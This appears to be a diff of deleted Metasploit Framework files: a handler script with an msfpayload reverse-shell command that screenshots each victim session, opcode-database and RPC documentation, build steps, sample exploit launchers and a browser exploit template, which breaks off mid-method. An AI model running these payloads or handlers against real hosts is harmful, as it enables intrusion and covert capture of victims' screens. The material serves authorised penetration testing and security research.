ypops_smtp exploit/windows/smtp/ypops_overflow1
zenworks_desktop_agent exploit/windows/novell/zenworks_desktop_agent

View File

@ -1,49 +0,0 @@
#
# Quick RC script to demonstrate the Ruby blocks in RC files
#
#
# Generate a corresponding EXE using msfpayload (change 192.168.0.228 to your IP):
# $ msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.0.228 LPORT=4444 X > reverse.exe
#
use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LPORT 4444
set LHOST 192.168.0.228
set ExitOnSession false
exploit -j
# The first sleep below is not necessary, but makes the output cleaner
<ruby>
sleep(1)
print_status("Waiting on an incoming sessions...")
while (true)
framework.sessions.each_pair do |sid,s|
thost = s.session_host
# Ensure that stdapi has been loaded before running
if s.ext.aliases['stdapi']
print_status("Screenshotting session #{sid} #{thost}...")
s.console.run_single("screenshot -p #{thost}_#{sid}.jpg -v false -q 85")
print_status("Closing session #{sid} #{thost}...")
s.kill
else
print_status("Session #{sid} #{thost} active, but not yet configured")
end
end
sleep(1)
end
print_status("All done")
</ruby>
# Kill all open sessions
sessions -K
# Exit the console (optional)
exit

View File

@ -1,338 +0,0 @@
Using the Opcode Database CLI (msfopcode)
The 3.0 version of the Metasploit Framework comes with a command line
interface to the Metasploit Opcode Database. This can be used instead
of the web-based wizard to easily search for portable opcode
addresses. The interface is provided through the msfopcode command
which is found in the root directory of the installation. This
interface is merely a front-end to a the
Rex::Exploitation::OpcodeDb::Client class interface that interfaces
with a HTTP-based XML protocol running on the Metasploit.com
web-server.
The interface itself provides a simplified interface to some of the
different aspects of the opcode database. When running the command
with no arguments, the following output is shown:
$ ./msfopcode
Usage: msfopcode command
SUPPORTED COMMANDS
stats Display database statistics
locales Display supported locales
metatypes Display supported opcode meta types (Ex: jmp reg)
groups Display supported opcode groups (Ex: esp => eip)
types Display supported opcode types (Ex: jmp esp)
platforms Display supported platforms
modules Display information about specific modules
search Search for opcodes given a set of criteria
The purpose of the stats command is to show the current database
statistics, such as the number of opcodes and modules currently
indexed by the database and the last time the database was updated.
The output to this command looks something like this:
$ ./msfopcode stats
Last Updated : Sat Sep 03 01:32:00 CDT 2005
Number of Opcodes : 12177419
Number of Opcode Types : 320
Number of Platforms : 14
Number of Architectures : 1
Number of Modules : 17683
Number of Module Segments: 71457
Number of Module Imports : 2065492
Number of Module Exports : 927637
The locales command lists the locales that are currently supported by
the database. In the future, more locales will be indexed to provided
a more complete view of opcode portability.
$ ./msfopcode locales
English
French
The metatypes command lists the opcode meta types currently supported
by the database. An opcode meta type is defined as a general
categorization of opcodes based on the action they perform, such as
jumping to a register, performing a pop/pop/ret, and so on. The meta
type helps categorize different specific types of opcodes.
$ ./msfopcode metatypes
pop/pop/ret
jmp reg
call reg
jmp [reg + offset]
call [reg + offset]
popad/ret
popaw/ret
push reg/ret
The groups command lists the opcode groups currently supported by the
database. The distinction between and opcode group and an opcode meta
type is that an opcode group associates opcodes based on the specific
action they perform, such as transitioning the instruction pointer to
the current value of a specific register, like esp.
$ ./msfopcode groups
eax => eip
ebx => eip
ecx => eip
edx => eip
edi => eip
esi => eip
ebp => eip
esp => eip
[esp + 8] => eip
[reg + offset] => eip
[esp + 0x10] => eip
[esp + 0x20] => eip
[reg] => eip
The types command lists all of the various specific opcode types
supported by the database. An opcode type is an instance of a specific
opcode or opcodes that form one logical instruction block, such as a
jmp esp. Opcode types are grouped together through the use of opcode
groups and meta types. A sampling of the output is shown below:
$ ./msfopcode types
jmp esp
call esp
push esp, ret
jmp ebp
call ebp
push ebp, ret
jmp eax
...
The platforms command lists the currently supported operating system
versions broken down by major version and service pack. At this point,
the database supports Windows NT SP3 through Windows 2003 Server SP1.
The database does not take into account hot fixes. Optionally,
platforms can be filtered by specifying the -p option with an argument
that includes a text portion of the operating system name or version
to filter. For instance, specifying -p 2000 will return only Windows
2000 versions.
$ ./msfopcode platforms
Windows NT 4.0.3.0 SP3 (IA32)
Windows NT 4.0.4.0 SP4 (IA32)
Windows NT 4.0.5.0 SP5 (IA32)
Windows NT 4.0.6.0 SP6 (IA32)
Windows 2000 5.0.0.0 SP0 (IA32)
Windows 2000 5.0.1.0 SP1 (IA32)
Windows 2000 5.0.2.0 SP2 (IA32)
Windows 2000 5.0.3.0 SP3 (IA32)
Windows 2000 5.0.4.0 SP4 (IA32)
Windows XP 5.1.0.0 SP0 (IA32)
Windows XP 5.1.1.0 SP1 (IA32)
Windows XP 5.1.2.0 SP2 (IA32)
Windows 2003 Server 5.2.0.0 SP0 (IA32)
Windows 2003 Server 5.2.1.0 SP1 (IA32)
One of the major features of the opcode database is that it indexes
detailed information about modules. For instance, the opcode database
currently contains information about imports, exports, segments, and
specific module attributes for every imported module in the database.
This makes it possible to cross reference different modules and do all
sorts of fun things. To extract information about modules, the modules
command can be used. The usage for this command is shown below:
$ ./msfopcode modules -h
Usage: msfopcode modules
OPTIONS:
-E Include module export information
-I Include module import information
-S Include module segment information
-d Display detailed output
-h Help banner
-l A comma separated list of locales to filter (Ex: English)
-m A comma separated list of module names to filter (Ex: kernel32.dll,use
r32.dll)
-p A comma separated list of operating system names to filter (Ex: 2000,X
P)
-x Dump the raw XML response
The explanation in the usage for each option is fairly self
explanatory, but the basic idea is that it's possible to search the
database for modules with the ability to filter based on file name,
locale, and operating system version. For the results that are
returned, information about the module imports, exports, segments, and
detailed information can be displayed. For example, to see all of the
versions of kernel32.dll currently indexed in the database, the
following command would be run:
$ ./msfopcode modules -m kernel32.dll
Matching Modules
================
Name Base Address Size Version Timestamp
Locale
---- ------------ ---- ------- ---------
------
kernel32.dll 0x77e70000 790528 5.0.2191.1 Tue Dec 14 17:20:09 CST 1999 French
kernel32.dll 0x77e40000 1056768 5.2.3790.1830031 Thu Mar 24 20:30:42 CST 2005 English
kernel32.dll 0x77e40000 999424 5.2.3790.3 Tue Mar 25 03:42:44 CST 2003 English
kernel32.dll 0x77f00000 385024 4.0.0.0 Fri Apr 25 15:33:31 CDT 1997 English
kernel32.dll 0x77ef0000 421888 4.0.0.0 Mon Mar 29 18:10:58 CST 1999 English
kernel32.dll 0x77f00000 385024 4.0.0.0 Sun Feb 28 17:49:07 CST 1999 English
kernel32.dll 0x77f00000 385024 4.0.0.0 Tue Jul 20 18:19:59 CDT 1999 English
kernel32.dll 0x77e80000 745472 5.0.2191.1 Wed Dec 01 01:37:24 CST 1999 English
kernel32.dll 0x77e80000 741376 5.0.2195.1600 Fri Jun 09 21:03:14 CDT 2000 English
kernel32.dll 0x77e80000 741376 5.0.2195.2778 Fri May 04 17:34:08 CDT 2001 English
kernel32.dll 0x77e80000 745472 5.0.2195.5400 Tue Jul 23 03:13:13 CDT 2002 English
kernel32.dll 0x7c4e0000 757760 5.0.2195.6688 Thu Jun 19 22:43:40 CDT 2003 English
kernel32.dll 0x77e60000 937984 5.1.2600.0 Sat Aug 18 01:33:02 CDT 2001 English
kernel32.dll 0x77e60000 942080 5.1.2600.11061 Thu Aug 29 06:40:40 CDT 2002 English
kernel32.dll 0x7c800000 999424 5.1.2600.21802 Wed Aug 04 03:56:36 CDT 2004 English
If only the versions of kernel32.dll on Windows XP running on the
English locale were of concern, the results could be limited by
specifying more limiting parameters:
$ ./msfopcode modules -m kernel32.dll -p XP -l English
Matching Modules
================
Name Base Address Size Version Timestamp
Locale
---- ------------ ---- ------- ---------
------
kernel32.dll 0x77e60000 937984 5.1.2600.0 Sat Aug 18 01:33:02 CDT 2001 English
kernel32.dll 0x77e60000 942080 5.1.2600.11061 Thu Aug 29 06:40:40 CDT 2002 English
kernel32.dll 0x7c800000 999424 5.1.2600.21802 Wed Aug 04 03:56:36 CDT 2004 English
To display detailed information about modules that match, the -d
parameter can be specified:
$ ./msfopcode modules -m kernel32.dll -p XP -l English -d
.-============================================
Name : kernel32.dll
Base Address: 0x77e60000
Size : 937984
Version : 5.1.2600.0
Timestamp : Sat Aug 18 01:33:02 CDT 2001
Locale : English
Platforms :
Windows XP 5.1.0.0 SP0 (IA32)
.-============================================
Name : kernel32.dll
Base Address: 0x77e60000
Size : 942080
Version : 5.1.2600.11061
Timestamp : Thu Aug 29 06:40:40 CDT 2002
Locale : English
Platforms :
Windows XP 5.1.1.0 SP1 (IA32)
.-============================================
Name : kernel32.dll
Base Address: 0x7c800000
Size : 999424
Version : 5.1.2600.21802
Timestamp : Wed Aug 04 03:56:36 CDT 2004
Locale : English
Platforms :
Windows XP 5.1.2.0 SP2 (IA32)
The real purpose behind the opcode database, however, is the ability
to search for specific opcodes across different operating system
versions with the ability to cross reference results in order to
determine return address portability. For that reason, the msfopcode
script provides the search command:
$ ./msfopcode search -h
Usage: msfopcode search
OPTIONS:
-M A comma separated list of opcode meta types to filter (Ex: jmp reg)
-P Results must span more than one operating system version
-a A comma separated list of addresses to filter (Ex: 0x41424344)
-g A comma separated list of opcode groups to filter (Ex: esp => eip)
-h Help banner
-l A comma separated list of locales to filter (Ex: English)
-m A comma separated list of module names to filter (Ex: kernel32.dll,user32.dll)
-p A comma separated list of operating system names to filter (Ex: 2000,XP)
-t A semi-colon separated list of opcode types to filter (Ex: jmp esp,call esp)
-x Dump the raw XML response
Like the modules command, the search command provides a way of
limiting the results that come back as a result of the search. In this
case, opcode results can be limited based on meta type, group, type,
operating system, module, locale, and even address. This makes it
possible to get fairly granular results in an intuitive manner.
Furthermore, the server can be instructed to only return results that
are portable in the event that the -P option is specified, although
there are currently some issues with this option being accurate.
To search for all occurrences of a ecx => eip opcode group in
ws2help.dll on Windows 2000 and XP, the following command could be
issued:
$ ./msfopcode search -p 2000,XP -m ws2help.dll -g "ecx => eip"
Opcodes
=======
Address Type OS
------- ---- --
0x74fa3112 call ecx Windows 2000 5.0.0.0 SP0 (IA32) (ws2help.dll)
Windows 2000 5.0.1.0 SP1 (IA32) (ws2help.dll)
Windows 2000 5.0.2.0 SP2 (IA32) (ws2help.dll)
Windows 2000 5.0.4.0 SP4 (IA32) (ws2help.dll)
0x71aa1224 push ecx, ret Windows XP 5.1.0.0 SP0 (IA32) (ws2help.dll)
Windows XP 5.1.1.0 SP1 (IA32) (ws2help.dll)
0x71aa396d call ecx Windows XP 5.1.0.0 SP0 (IA32) (ws2help.dll)
Windows XP 5.1.1.0 SP1 (IA32) (ws2help.dll)
0x71aa3de3 call ecx Windows XP 5.1.2.0 SP2 (IA32) (ws2help.dll)
0x71aa163b push ecx, ret Windows XP 5.1.2.0 SP2 (IA32) (ws2help.dll)
0x75023112 call ecx Windows 2000 5.0.0.0 SP0 (IA32) (ws2help.dll)
Windows 2000 5.0.1.0 SP1 (IA32) (ws2help.dll)
Windows 2000 5.0.2.0 SP2 (IA32) (ws2help.dll)
Windows 2000 5.0.3.0 SP3 (IA32) (ws2help.dll)
Windows 2000 5.0.4.0 SP4 (IA32) (ws2help.dll)
To limit the results to portable ones only, the -P option can be
tagged on producing output like that shown below:
$ ./msfopcode search -p 2000,XP -m ws2help.dll -g "ecx => eip" -P
Opcodes
=======
Address Type OS
------- ---- --
0x74fa3112 call ecx Windows 2000 5.0.0.0 SP0 (IA32) (ws2help.dll)
Windows 2000 5.0.1.0 SP1 (IA32) (ws2help.dll)
Windows 2000 5.0.2.0 SP2 (IA32) (ws2help.dll)
Windows 2000 5.0.4.0 SP4 (IA32) (ws2help.dll)
0x71aa1224 push ecx, ret Windows XP 5.1.0.0 SP0 (IA32) (ws2help.dll)
Windows XP 5.1.1.0 SP1 (IA32) (ws2help.dll)
0x71aa396d call ecx Windows XP 5.1.0.0 SP0 (IA32) (ws2help.dll)
Windows XP 5.1.1.0 SP1 (IA32) (ws2help.dll)
0x75023112 call ecx Windows 2000 5.0.0.0 SP0 (IA32) (ws2help.dll)
Windows 2000 5.0.1.0 SP1 (IA32) (ws2help.dll)
Windows 2000 5.0.2.0 SP2 (IA32) (ws2help.dll)
Windows 2000 5.0.3.0 SP3 (IA32) (ws2help.dll)
Windows 2000 5.0.4.0 SP4 (IA32) (ws2help.dll)
For custom development purposes, the script can also be told to dump
results in raw XML format such that extensions can be written to the
interface in the future by third parties. This can be accomplished by
specifying the -x parameter.
More information online at: http://metasploit.com/framework/

View File

@ -1,166 +0,0 @@
[ INTRODUCTION ]
The msfrpcd daemon uses the xmlrpc plugin to provide a remote
interface to the Metasploit Framework. By default, this service
listens on port 55553, uses SSL, and is password protected.
The RPC interface allows access to a minimal set of framework
APIs, covering the core framework, the module set, the job list,
and the session table. These APIs can be used to enumerate
modules, execute them, and interact with the resulting sessions
and jobs.
[ USAGE ]
To activate the RPC interface, launch msfrpcd, or load msfconsole
and load the xmlrpc plugin.
$ ./msfrpcd -P s3cr3tp4ss
- or -
msf> load xmlrpc Pass=s3cr3tp4ss
Once the interface is started, any compatible RPC interface can be used
to interact with the service. The 'msfrpc' client provides a Ruby
shell that can be used to talk to the service.
$ ./msfrpc -h server_name -P s3cr3tp4ss
[*] The 'rpc' object holds the RPC client interface
>> rpc.call("core.version")
=> {"version"=>"3.3-dev"}
[ API - AUTH ]
Method: auth.login
Expects: username, password
Returns: { "result" => "success", "token" => "<token>" }
Summary: This method is used by rpc.login() to obtain the session key
(token) which is sent in subsequent requests. This token uniquely
identifies a particular client and can be used by multiple clients,
even after the originating TCP session is closed. The RPC client
object automatically sends this token with all other method calls.
Inactive tokens are destroyed after five minutes of non-use.
[ API - CORE ]
Method: core.version
Expects: none
Returns: { "version" => "<framework-version>" }
[ API - MODULE ]
Method: module.exploits
Method: module.auxiliary
Method: module.payloads
Method. module.encoders
Method: module.nops
Expects: none
Returns: { "modules" => [ "module1", "module2", ... ] }
Summary: This method is used to obtain a list of available modules
of the specified type. The resulting module names can be used in
other calls within the module service.
Method: module.info
Expects: module_type, module_name
Returns: { "name" => "<name>", ... }
Summary: This method returns all shared module fields (name, authors,
version, description, etc), but also the list of targets and actions
when appropriate.
Method: module.options
Expects: module_type, module_name
Returns: { "<option_name>" => { "type" => "integer", ... } }
Summary: This method returns a list of all options for a given module,
including advanced and evasion options. The returned hash contains
detailed information about each option, including its type, its
default value, whether it is required, and so on.
Method: module.compatible_payloads
Expects: module_name
Returns: { "payloads" => [ "payload1", "payload2", ... ] }
Summary: This method only works for exploit modules and returns a
list of payloads that are compatible with the specified exploit.
Method: module.execute
Expects: module_type, module_name, options_hash
Returns: { "result" => "success" }
Summary: This method only works for exploit and auxiliary modules
and uses the simplified framework API to launch these modules
with the specified options. Option values should be placed into
the options_hash argument, including items such as PAYLOAD,
TARGET, ACTION, and all required options.
[ API - JOB ]
Method: job.list
Expects: none
Returns: { "<job_id>" => "<job_name>" }
Summary: This method returns a list of running jobs, along with
the name of the job.
Method: job.stop
Expects: job_id
Returns: { "result" => "success" }
Summary: This method kills a specific job by ID
[ API - SESSION ]
Method: session.list
Expects: none
Returns: { "<session_id>" => { "type" => "shell", ... } }
Summary: This method returns a list of active sessions, including
the fields type, tunnel_local, tunnel_peer, via_exploit,
via_payload, and desc.
Method: session.stop
Expects: session_id
Returns: { "result" => "success" }
Summary: This method kills a specific session by ID
Method: session.shell_read
Expects: session_id
Returns: { "data" => "<shell_data>" }
Summary: This method reads any pending output from a session. This
method only works for sessions of type "shell" and does not block.
Method: session.shell_write
Expects: session_id, shell_data
Returns: { "write_count" => "<number_of_bytes_written>" }
Summary: This method writes the specified input into the session.
This method only works for sessions of type "shell" and does not
block.
[ EXCEPTIONS ]
When an error occurs, an exception is thrown on the client side. This
exception will be of class XMLRPC::FaultException and the faultCode
and faultString methods of this exception will contain detailed
information about the problem. Many API calls will raise faultCode
of 404 when the specified item is not found. An unhandled, server
exception will result in a faultCode of 500 on the client side.
[ SECURITY CONSIDERATIONS ]
At this time, the SSL certificate used by the service is
dynamically allocated, making it vulnerable to a man-in-the-middle
attack. Future versions will address this by allowing a certificate
to be generated and verified.
The current implementation passes the username and password for the
RPC service as parameters on the command line. This can lead to
disclosure of the password to other local users on some Unix systems.
The msfrpc and msfrpcd applications change the displayed arguments
as soon as they are launched, but there is still a brief window of
time where another local user may snoop the msfrpcd password. In the
future, the password will be specified via TTY or file.

View File

@ -1,77 +0,0 @@
Steps needed to build the POSIX meterpreter from scratch
--------------------------------------------------------
1) Build bionic libc
you will need "jam" package for compiling.
# cd external/source/meterpreter/source/bionic/libc
# ARCH=x86 TOP=${PWD} jam
... lots of output ...
# cd out/x86/
# sh make.sh
.. makes dynamic library ...
you now have a libbionic.so, copy to source/bionic/compiled/libc.so
2) Build bionic libm
# cd external/source/meterpreter/source/bionic/libm
# make -f msfMakefile
... lots of output ...
you now have a libm.so, copy to source/bionic/compiled/
3) Build bionic libdl
# cd external/source/meterpreter/source/bionic/libdl
# make
copy libdl.so to source/bionic/compiled
4) Build openssl
download openssl 0.9.8o
Edit the Configure file. Locate "linux-elf line, duplicate it, s/-elf/-msf/, s/-ldl//, on the duplicate.
# ./Configure threads no-zlib no-krb5 386 --prefix=/tmp/out linux-msf no-dlfcn shared
...
# LIBC=/path/to/bionic/libc
# LIBM=/path/to/bionic/libm
# COMPILED=/path/to/bionic/compiled
# make CC="gcc -I ${LIBC}/include -I ${LIBC}/kernel/common/linux/ -I ${LIBC}/kernel/common/ -I ${LIBC}/arch-x86/include/ -I ${LIBC}/kernel/arch-x86/ -I${LIBC}/private -fPIC -DPIC -nostdinc -nostdlib -Dwchar_t='char' -fno-builtin -D_SIZE_T_DECLARED -DElf_Size='u_int32_t' -I${LIBM}/include -L${COMPILED} -D_BYTE_ORDER=_LITTLE_ENDIAN -lc" depend clean all
... lots of compiling ...
# cp libssl.so ${COMPILED}
# cp libcrypto.so ${COMPILED}
5) Compile the common/support library code
# cd external/source/meterpreter/workspace/common
# make
.. copy libsupport.so to source/bionic/compiled ..
6) Build the metsrv_main binary
# cd external/source/meterpreter/workspace/metsrv
# make
You will need to generate a linker script, and set the location to 0x00040000. -Wl,-verbose >log , edit log for == ==
.. copy metsrv_main to source/bionic/compiled directory
7) Build the rtld binary (last step)
# cd external/source/meterpreter/source/server/rtld
# make test
(make test will make msflinker, which you can use to test the meterpreter)
8) Compile the ext_server_stdapi
# external/source/meterpreter/workspace/extensions/stdapi
# make
copy ext_server_stdapi.so to data/meterpreter/ext_server_stdai.lso <-- notice the .lso

View File

@ -1,87 +0,0 @@
%define name metasploit
%define version 3.2
%define release 1
%define prefix /opt
%define __spec_install_post :
BuildArch: noarch
BuildRoot: %(mktemp -ud %{_tmppath}/%{name}-%{version}-%{release}-XXXXXX)
Group: Applications/System
License: BSD
Name: %{name}
Packager: Ramon de Carvalho Valle <ramon@risesecurity.org>
Release: %{release}
Requires: ruby
Source: %{name}-%{version}.tar.gz
Summary: The Metasploit Framework
URL: http://www.metasploit.com/framework/
Version: %{version}
%description
The Metasploit Framework is a development platform for creating security tools
and exploits. The framework is used by network security professionals to
perform penetration tests, system administrators to verify patch
installations, product vendors to perform regression testing, and security
researchers world-wide. The framework is written in the Ruby programming
language and includes components written in C and assembler.
%prep
%setup -q
%install
rm -rf %{buildroot}
cd ../
mkdir -p %{buildroot}%{prefix}
cp -r %{name}-%{version} %{buildroot}%{prefix}
%clean
rm -rf %{buildroot}
%post
ln -s %{prefix}/%{name}-%{version}/msfcli /usr/local/bin
ln -s %{prefix}/%{name}-%{version}/msfconsole /usr/local/bin
ln -s %{prefix}/%{name}-%{version}/msfd /usr/local/bin
ln -s %{prefix}/%{name}-%{version}/msfelfscan /usr/local/bin
ln -s %{prefix}/%{name}-%{version}/msfencode /usr/local/bin
ln -s %{prefix}/%{name}-%{version}/msfgui /usr/local/bin
ln -s %{prefix}/%{name}-%{version}/msfmachscan /usr/local/bin
ln -s %{prefix}/%{name}-%{version}/msfopcode /usr/local/bin
ln -s %{prefix}/%{name}-%{version}/msfpayload /usr/local/bin
ln -s %{prefix}/%{name}-%{version}/msfpescan /usr/local/bin
ln -s %{prefix}/%{name}-%{version}/msfweb /usr/local/bin
%postun
rm -f %{prefix}/%{name}-%{version}/msfcli
rm -f %{prefix}/%{name}-%{version}/msfconsole
rm -f %{prefix}/%{name}-%{version}/msfd
rm -f %{prefix}/%{name}-%{version}/msfelfscan
rm -f %{prefix}/%{name}-%{version}/msfencode
rm -f %{prefix}/%{name}-%{version}/msfgui
rm -f %{prefix}/%{name}-%{version}/msfmachscan
rm -f %{prefix}/%{name}-%{version}/msfopcode
rm -f %{prefix}/%{name}-%{version}/msfpayload
rm -f %{prefix}/%{name}-%{version}/msfpescan
rm -f %{prefix}/%{name}-%{version}/msfweb
%files
%defattr(-,root,root)
%{prefix}/%{name}-%{version}
%changelog
* Sun Nov 19 2008 Ramon de Carvalho Valle <ramon@risesecurity.org> - 3.2-1
- Changed name to metasploit
- Added post and postun scripts
* Sun Nov 9 2008 Ramon de Carvalho Valle <ramon@risesecurity.org> - 3.2-1
- Initial version

View File

@ -1,34 +0,0 @@
#!/usr/bin/env ruby
#
# $Id$
#
# This sample demonstrates how a module's information can be easily serialized
# to a readable format.
#
# $Revision$
#
$:.unshift(File.join(File.dirname(__FILE__), '..', '..', '..', 'lib'))
require 'msf/base'
if (ARGV.empty?)
puts "Usage: #{File.basename(__FILE__)} module_name"
exit
end
modname = ARGV.shift
framework = Msf::Simple::Framework.create
begin
# Create the module instance.
mod = framework.modules.create(modname)
if not mod
puts "Error: The specified Msf::Module, \"#{modname}\", was not found."
else
# Dump the module's information in readable text format.
puts Msf::Serializer::ReadableText.dump_module(mod)
end
rescue
puts "Error: #{$!}\n\n#{$@.join("\n")}"
end

View File

@ -1,30 +0,0 @@
#!/usr/bin/env ruby
#
# $Id$
#
# This sample demonstrates how a file can be encoded using a framework
# encoder.
#
# $Revision$
#
$:.unshift(File.join(File.dirname(__FILE__), '..', '..', '..', 'lib'))
require 'msf/base'
if (ARGV.empty?)
puts "Usage: #{File.basename(__FILE__)} encoder_name file_name format"
exit
end
framework = Msf::Simple::Framework.create
begin
# Create the encoder instance.
mod = framework.encoders.create(ARGV.shift)
puts(Msf::Simple::Buffer.transform(
mod.encode(IO.read(ARGV.shift)), ARGV.shift || 'ruby'))
rescue
puts "Error: #{$!}\n\n#{$@.join("\n")}"
end

View File

@ -1,20 +0,0 @@
#!/usr/bin/env ruby
#
# $Id$
#
# This sample demonstrates enumerating all of the modules in the framework and
# displays their module type and reference name.
#
# $Revision$
#
$:.unshift(File.join(File.dirname(__FILE__), '..', '..', '..', 'lib'))
require 'msf/base'
framework = Msf::Simple::Framework.create
# Enumerate each module in the framework.
framework.modules.each_module { |name, mod|
puts "#{mod.type}: #{name}"
}

View File

@ -1,52 +0,0 @@
#!/usr/bin/env ruby
#
# $Id$
#
# This sample demonstrates using the framework core directly to launch an
# exploit. It makes use of the simplified exploit wrapper method provided by
# the Msf::Simple::Exploit mixin.
#
# $Revision$
#
$:.unshift(File.join(File.dirname(__FILE__), '..', '..', '..', 'lib'))
require 'msf/base'
if (ARGV.length == 0)
puts "Usage: #{File.basename(__FILE__)} exploit_name payload_name OPTIONS"
exit
end
framework = Msf::Simple::Framework.create
exploit_name = ARGV.shift || 'test/multi/aggressive'
payload_name = ARGV.shift || 'windows/meterpreter/reverse_tcp'
input = Rex::Ui::Text::Input::Stdio.new
output = Rex::Ui::Text::Output::Stdio.new
begin
# Initialize the exploit instance
exploit = framework.exploits.create(exploit_name)
# Fire it off.
session = exploit.exploit_simple(
'Payload' => payload_name,
'OptionStr' => ARGV.join(' '),
'LocalInput' => input,
'LocalOutput' => output)
# If a session came back, try to interact with it.
if (session)
output.print_status("Session #{session.sid} created, interacting...")
output.print_line
session.init_ui(input, output)
session.interact
else
output.print_line("Exploit completed, no session was created.")
end
rescue
output.print_error("Error: #{$!}\n\n#{$@.join("\n")}")
end

View File

@ -1,68 +0,0 @@
#!/usr/bin/env ruby
#
# $Id$
#
# This sample demonstrates using the framework core directly to launch an
# exploit. It uses the framework base Framework class so that the
# distribution module path is automatically set, but relies strictly on
# framework core classes for everything else.
#
# $Revision$
#
$:.unshift(File.join(File.dirname(__FILE__), '..', '..', '..', 'lib'))
require 'msf/base'
if (ARGV.length == 0)
puts "Usage: #{File.basename(__FILE__)} exploit_name payload_name OPTIONS"
exit
end
framework = Msf::Simple::Framework.create
exploit_name = ARGV.shift || 'test/multi/aggressive'
payload_name = ARGV.shift || 'windows/meterpreter/reverse_tcp'
input = Rex::Ui::Text::Input::Stdio.new
output = Rex::Ui::Text::Output::Stdio.new
begin
# Create the exploit driver instance.
driver = Msf::ExploitDriver.new(framework)
# Initialize the exploit driver's exploit and payload instance
driver.exploit = framework.exploits.create(exploit_name)
driver.payload = framework.payloads.create(payload_name)
# Import options specified in VAR=VAL format from the supplied command
# line.
driver.exploit.datastore.import_options_from_s(ARGV.join(' '))
# Share the exploit's datastore with the payload.
driver.payload.share_datastore(driver.exploit.datastore)
# Initialize the target index to what's in the exploit's data store or
# zero by default.
driver.target_idx = (driver.exploit.datastore['TARGET'] || 0).to_i
# Initialize the exploit and payload user interfaces.
driver.exploit.init_ui(input, output)
driver.payload.init_ui(input, output)
# Fire it off.
session = driver.run
# If a session came back, try to interact with it.
if (session)
output.print_status("Session #{session.sid} created, interacting...")
output.print_line
session.init_ui(input, output)
session.interact
else
output.print_line("Exploit completed, no session was created.")
end
rescue
output.print_error("Error: #{$!}\n\n#{$@.join("\n")}")
end

View File

@ -1,45 +0,0 @@
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
###
#
# This sample auxiliary module simply displays the selected action and
# registers a custom command that will show up when the module is used.
#
###
class Metasploit4 < Msf::Auxiliary
def initialize(info={})
super(update_info(info,
'Name' => 'Sample Auxiliary Module',
'Description' => 'Sample Auxiliary Module',
'Author' => ['hdm'],
'License' => MSF_LICENSE,
'Actions' =>
[
['Default Action'],
['Another Action']
]
))
end
def run
print_status("Running the simple auxiliary module with action #{action.name}")
end
def auxiliary_commands
return { "aux_extra_command" => "Run this auxiliary test commmand" }
end
def cmd_aux_extra_command(*args)
print_status("Running inside aux_extra_command()")
end
end

View File

@ -1,35 +0,0 @@
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
###
#
# This sample illustrates a very basic encoder that simply returns the block
# that it's passed.
#
###
class Metasploit4 < Msf::Encoder
def initialize
super(
'Name' => 'Sample Encoder',
'Description' => %q{
Sample encoder that just returns the block it's passed
when encoding occurs.
},
'License' => MSF_LICENSE,
'Author' => 'skape',
'Arch' => ARCH_ALL)
end
#
# Returns the unmodified buffer to the caller.
#
def encode_block(state, buf)
buf
end
end

View File

@ -1,149 +0,0 @@
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
###
#
# This exploit sample demonstrates how a typical browser exploit is written using commonly
# used components such as: HttpServer, BrowserAutopwn, RopDB, DOM Element Property Spray.
#
###
class Metasploit4 < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::HttpServer::HTML
include Msf::Exploit::RopDb
include Msf::Exploit::Remote::BrowserAutopwn
# Set :classid and :method for ActiveX exploits. For example:
# :classid => "{C3B92104-B5A7-11D0-A37F-00A0248F0AF1}",
# :method => "SetShapeNodeType",
autopwn_info({
:ua_name => HttpClients::IE,
:ua_minver => "8.0",
:ua_maxver => "10.0",
:javascript => true,
:os_name => OperatingSystems::Match::WINDOWS,
:rank => NormalRanking
})
def initialize(info={})
super(update_info(info,
'Name' => "Module Name",
'Description' => %q{
This template covers IE8/9/10, and uses the user-agent HTTP header to detect
the browser version. Please note IE8 and newer may emulate an older IE version
in compatibility mode, in that case the module won't be able to detect the
browser correctly.
},
'License' => MSF_LICENSE,
'Author' => [ 'sinn3r' ],
'References' =>
[
[ 'URL', 'http://metasploit.com' ]
],
'Platform' => 'win',
'Targets' =>
[
[ 'Automatic', {} ],
[ 'IE 8 on Windows XP SP3', { 'Rop' => :jre } ],
[ 'IE 8 on Windows Vista', { 'Rop' => :jre } ],
[ 'IE 8 on Windows 7', { 'Rop' => :jre } ],
[ 'IE 9 on Windows 7', { 'Rop' => :jre } ],
[ 'IE 10 on Windows 8', { 'Rop' => :jre } ]
],
'Payload' =>
{
'BadChars' => "\x00", # js_property_spray
'StackAdjustment' => -3500
},
'Privileged' => false,
'DisclosureDate' => "Apr 1 2013",
'DefaultTarget' => 0))
end
def get_target(agent)
return target if target.name != 'Automatic'
nt = agent.scan(/Windows NT (\d\.\d)/).flatten[0] || ''
ie = agent.scan(/MSIE (\d)/).flatten[0] || ''
ie_name = "IE #{ie}"
case nt
when '5.1'
os_name = 'Windows XP SP3'
when '6.0'
os_name = 'Windows Vista'
when '6.1'
os_name = 'Windows 7'
when '6.2'
os_name = 'Windows 8'
when '6.3'
os_name = 'Windows 8.1'
end
targets.each do |t|
if (!ie.empty? and t.name.include?(ie_name)) and (!nt.empty? and t.name.include?(os_name))
return t
end
end
nil
end
def get_payload(t)
stack_pivot = "\x41\x42\x43\x44"
code = payload.encoded
case t['Rop']
when :msvcrt
print_status("Using msvcrt ROP")
rop_payload = generate_rop_payload('msvcrt', code, {'pivot'=>stack_pivot, 'target'=>'xp'})
else
print_status("Using JRE ROP")
rop_payload = generate_rop_payload('java', code, {'pivot'=>stack_pivot})
end
rop_payload
end
def get_html(t)
js_p = ::Rex::Text.to_unescape(get_payload(t), ::Rex::Arch.endian(t.arch))
html = %Q|
<script>
#{js_property_spray}
var s = unescape("#{js_p}");
sprayHeap({shellcode:s});
</script>
|
html.gsub(/^\t\t/, '')
end
def on_request_uri(cli, request)
agent = request.headers['User-Agent']
print_status("Requesting: #{request.uri}")
target = get_target(agent)
